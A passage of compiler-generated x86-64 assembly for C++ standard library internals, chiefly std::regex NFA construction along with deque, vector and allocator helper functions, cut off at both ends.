rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rdx, [rbp-464] lea rax, [rbp-432] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendERKS4_ lea rdx, [rbp-464] lea rax, [rbp-400] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendERKS4_ jmp .L1233 .L1232: cmp QWORD PTR [rbp-32], 0 jns .L1234 mov esi, OFFSET FLAT:.LC30 mov edi, 7 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1234: mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_dummyEv mov QWORD PTR [rbp-72], rax lea rax, [rbp-592] mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEEC1IS2_vEEv mov QWORD PTR [rbp-48], 0 .L1236: mov rax, QWORD PTR [rbp-48] cmp rax, QWORD PTR [rbp-32] jge .L1235 lea rax, [rbp-496] lea rdx, [rbp-368] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE8_M_cloneEv mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax movzx eax, BYTE PTR [rbp-145] movzx ecx, al mov rax, QWORD PTR [rbp-488] mov rdx, QWORD PTR [rbp-72] mov rsi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE16_M_insert_repeatEllb mov QWORD PTR [rbp-504], rax lea rdx, [rbp-504] lea rax, [rbp-592] mov rsi, rdx mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEE4pushERKl mov r12, QWORD PTR [rbp-480] mov rbx, QWORD PTR [rbp-504] mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rsi, rax lea rax, [rbp-112] mov rcx, r12 mov rdx, rbx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEll lea rdx, [rbp-112] lea rax, [rbp-400] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendERKS4_ add QWORD PTR [rbp-48], 1 jmp .L1236 .L1235: mov rdx, QWORD PTR [rbp-72] lea rax, [rbp-400] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl .L1238: lea rax, [rbp-592] mov rdi, rax call _ZNKSt5stackIlSt5dequeIlSaIlEEE5emptyEv xor eax, 1 test al, al je .L1237 mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv lea rbx, [rax+56] lea rax, [rbp-592] mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEE3topEv mov rax, QWORD PTR [rax] mov rsi, rax mov rdi, rbx call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-80], rax lea rax, [rbp-592] mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEE3popEv mov rax, QWORD PTR [rbp-80] lea rdx, [rax+16] mov rax, QWORD PTR [rbp-80] add rax, 8 mov rsi, rdx mov rdi, rax call _ZSt4swapIlENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleIS4_ESt18is_move_assignableIS4_EEE5valueEvE4typeERS4_SE_ jmp .L1238 .L1237: lea rax, [rbp-592] mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEED1Ev .L1233: mov rax, QWORD PTR [rbp-600] lea rdx, [rax+304] lea rax, [rbp-400] mov rsi, rax mov rdi, rdx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushERKS5_ jmp .L1217 .L1220: mov eax, 0 jmp .L1243 .L1217: mov eax, 1 jmp .L1243 mov rbx, rax lea rax, [rbp-592] mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1243: add rsp, 592 pop rbx pop r12 pop rbp ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE9push_backERKS5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+64] sub rax, 24 cmp rdx, rax je .L1245 mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE9constructIS5_JRKS5_EEEvRS6_PT_DpOT0_ mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+48] lea rdx, [rax+24] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+48], rdx jmp .L1247 .L1245: mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE16_M_push_back_auxIJRKS5_EEEvDpOT_ .L1247: nop leave ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE12emplace_backIJS5_EEERS5_DpOT_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+64] sub rax, 24 cmp rdx, rax je .L1249 mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZSt7forwardINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEOT_RNSt16remove_referenceIS6_E4typeE mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE9constructIS5_JS5_EEEvRS6_PT_DpOT0_ mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+48] lea rdx, [rax+24] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+48], rdx jmp .L1250 .L1249: mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZSt7forwardINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEOT_RNSt16remove_referenceIS6_E4typeE mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE16_M_push_back_auxIJS5_EEEvDpOT_ .L1250: mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE4backEv leave ret _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_EmmEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+8] cmp rdx, rax jne .L1253 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+24] lea rdx, [rax-8] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_E11_M_set_nodeEPS7_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx .L1253: mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] lea rdx, [rax-24] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] leave ret _ZNKSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_EdeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] pop rbp ret _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE7destroyIS5_EEvRS6_PT_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEE7destroyIS6_EEvPT_ nop leave ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE15_M_pop_back_auxEv: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rdx+56] mov rsi, rdx mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE18_M_deallocate_nodeEPS5_ mov rax, QWORD PTR [rbp-24] lea rdx, [rax+48] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+72] sub rax, 8 mov rsi, rax mov rdi, rdx call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_E11_M_set_nodeEPS7_ mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+64] lea rdx, [rax-24] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+48], rdx mov rax, QWORD PTR [rbp-24] mov rbx, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE19_M_get_Tp_allocatorEv mov rsi, rbx mov rdi, rax call _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE7destroyIS5_EEvRS6_PT_ nop add rsp, 24 pop rbx pop rbp ret _ZN9__gnu_cxx13new_allocatorImE7destroyImEEvPT_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE10deallocateERS6_PS5_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEE10deallocateEPS6_m nop leave ret _ZNKSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE19_M_get_Tp_allocatorEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSaIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEC2IS4_EERKSaIT_E: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEC2Ev nop leave ret _ZN9__gnu_cxx13new_allocatorIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEED2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZN9__gnu_cxx13new_allocatorIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEE10deallocateEPS7_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZdlPv leave ret _ZNSt16allocator_traitsISaINSt7__cxx119sub_matchIPKcEEEE8max_sizeERKS5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNK9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEE8max_sizeEv leave ret _ZNKSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt25__uninitialized_default_nIPNSt7__cxx119sub_matchIPKcEEmET_S6_T0_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov BYTE PTR [rbp-1], 1 mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt27__uninitialized_default_n_1ILb0EE18__uninit_default_nIPNSt7__cxx119sub_matchIPKcEEmEET_S8_T0_ leave ret _ZNSt16allocator_traitsISaINSt7__cxx119sub_matchIPKcEEEE8allocateERS5_m: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov edx, 0 mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEE8allocateEmPKv leave ret _ZSt32__make_move_if_noexcept_iteratorINSt7__cxx119sub_matchIPKcEESt13move_iteratorIPS4_EET0_PT_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt13move_iteratorIPNSt7__cxx119sub_matchIPKcEEEC1ES5_ mov rax, QWORD PTR [rbp-8] leave ret _ZSt22__uninitialized_copy_aISt13move_iteratorIPNSt7__cxx119sub_matchIPKcEEES6_S5_ET0_T_S9_S8_RSaIT1_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov QWORD PTR [rbp-32], rcx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZSt18uninitialized_copyISt13move_iteratorIPNSt7__cxx119sub_matchIPKcEEES6_ET0_T_S9_S8_ leave ret _ZNSaISt4pairIPKciEEC2ERKS3_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt4pairIPKciEEC2ERKS5_ nop leave ret _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE11_M_allocateEm: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi cmp QWORD PTR [rbp-16], 0 je .L1281 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaISt4pairIPKciEEE8allocateERS4_m jmp .L1283 .L1281: mov eax, 0 .L1283: leave ret _ZSt25__uninitialized_default_nIPSt4pairIPKciEmET_S5_T0_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov BYTE PTR [rbp-1], 1 mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt27__uninitialized_default_n_1ILb0EE18__uninit_default_nIPSt4pairIPKciEmEET_S7_T0_ leave ret _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE12_Vector_implC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEEC2Ev mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], 0 nop leave ret _ZNSt5tupleIJPbSt14default_deleteIA_bEEEC2IS0_S3_Lb1EEEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt11_Tuple_implILm0EJPbSt14default_deleteIA_bEEEC2Ev nop leave ret _ZN9__gnu_cxx13new_allocatorISt4pairIPKciEE10deallocateEPS4_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZdlPv leave ret _ZN9__gnu_cxx13new_allocatorISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEEE10deallocateEPSA_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZdlPv leave ret _ZSt11__addressofISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEPT_RSA_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 8 mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED1Ev nop leave ret _ZSt8_DestroyISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEvPT_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEED1Ev nop leave ret _ZNSt11_Tuple_implILm0EJPbSt14default_deleteIA_bEEE7_M_headERS4_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt10_Head_baseILm0EPbLb0EE7_M_headERS1_ leave ret _ZSt12__get_helperILm1ESt14default_deleteIA_bEJEERT0_RSt11_Tuple_implIXT_EJS3_DpT1_EE: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt11_Tuple_implILm1EJSt14default_deleteIA_bEEE7_M_headERS3_ leave ret _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE12emplace_backIJRlRKS7_EEERS8_DpOT_: push rbp mov rbp, rsp push r12 push rbx sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+16] cmp rdx, rax je .L1301 mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZSt7forwardIRKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEOT_RNSt16remove_referenceISA_E4typeE mov rbx, rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt7forwardIRlEOT_RNSt16remove_referenceIS1_E4typeE mov rdx, rax mov rax, QWORD PTR [rbp-24] mov rsi, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-24] mov rcx, rbx mov rdi, rax call _ZNSt16allocator_traitsISaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEE9constructIS9_JRlRKS8_EEEvRSA_PT_DpOT0_ mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+8] lea rdx, [rax+32] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+8], rdx jmp .L1302 .L1301: mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZSt7forwardIRKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEOT_RNSt16remove_referenceISA_E4typeE mov r12, rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt7forwardIRlEOT_RNSt16remove_referenceIS1_E4typeE mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE3endEv mov rsi, rax mov rax, QWORD PTR [rbp-24] mov rcx, r12 mov rdx, rbx mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE17_M_realloc_insertIJRlRKS7_EEEvN9__gnu_cxx17__normal_iteratorIPS8_SA_EEDpOT_ .L1302: mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE4backEv add rsp, 32 pop rbx pop r12 pop rbp ret _ZNKSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE5beginEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-8], rax lea rdx, [rbp-8] lea rax, [rbp-16] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPKSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEC1ERKSC_ mov rax, QWORD PTR [rbp-16] leave ret _ZNKSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE3endEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+8] mov QWORD PTR [rbp-8], rax lea rdx, [rbp-8] lea rax, [rbp-16] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPKSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEC1ERKSC_ mov rax, QWORD PTR [rbp-16] leave ret _ZN9__gnu_cxxeqIPKSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEEbRKNS_17__normal_iteratorIT_T0_EESK_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPKSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEE4baseEv mov rbx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPKSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEE4baseEv mov rax, QWORD PTR [rax] cmp rbx, rax sete al add rsp, 24 pop rbx pop rbp ret _ZNKSt15__uniq_ptr_implIbSt14default_deleteIA_bEE6_M_ptrEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt3getILm0EJPbSt14default_deleteIA_bEEERKNSt13tuple_elementIXT_ESt5tupleIJDpT0_EEE4typeERKS8_ mov rax, QWORD PTR [rax] leave ret _ZSt12__niter_baseIPbET_S1_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt10__fill_n_aIPbmbEN9__gnu_cxx11__enable_ifIXsrSt11__is_scalarIT1_E7__valueET_E6__typeES6_T0_RKS4_: push rbp mov rbp, rsp mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-40] movzx eax, BYTE PTR [rax] mov BYTE PTR [rbp-9], al mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rbp-8], rax .L1316: cmp QWORD PTR [rbp-8], 0 je .L1315 mov rax, QWORD PTR [rbp-24] movzx edx, BYTE PTR [rbp-9] mov BYTE PTR [rax], dl sub QWORD PTR [rbp-8], 1 add QWORD PTR [rbp-24], 1 jmp .L1316 .L1315: mov rax, QWORD PTR [rbp-24] pop rbp ret _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EEC2EOSB_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rbx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE19_M_get_Tp_allocatorEv mov rdi, rax call _ZSt4moveIRSaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEEONSt16remove_referenceIT_E4typeEOSD_ mov rsi, rax mov rdi, rbx call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE12_Vector_implC1EOSA_ mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-32] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE12_Vector_impl12_M_swap_dataERSC_ nop add rsp, 24 pop rbx pop rbp ret _ZN9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEC2ERKSB_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx nop pop rbp ret _ZNK9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEE4baseEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE14_M_move_assignEOS6_St17integral_constantIbLb1EE: push rbp mov rbp, rsp push rbx sub rsp, 56 mov QWORD PTR [rbp-56], rdi mov QWORD PTR [rbp-64], rsi mov rdx, QWORD PTR [rbp-56] lea rax, [rbp-17] mov rsi, rdx mov rdi, rax call _ZNKSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE13get_allocatorEv lea rdx, [rbp-17] lea rax, [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEC1ERKS5_ lea rax, [rbp-17] mov rdi, rax call _ZNSaINSt7__cxx119sub_matchIPKcEEED1Ev mov rax, QWORD PTR [rbp-56] lea rdx, [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE12_Vector_impl12_M_swap_dataERS7_ mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rbp-64] mov rsi, rdx mov rdi, rax call 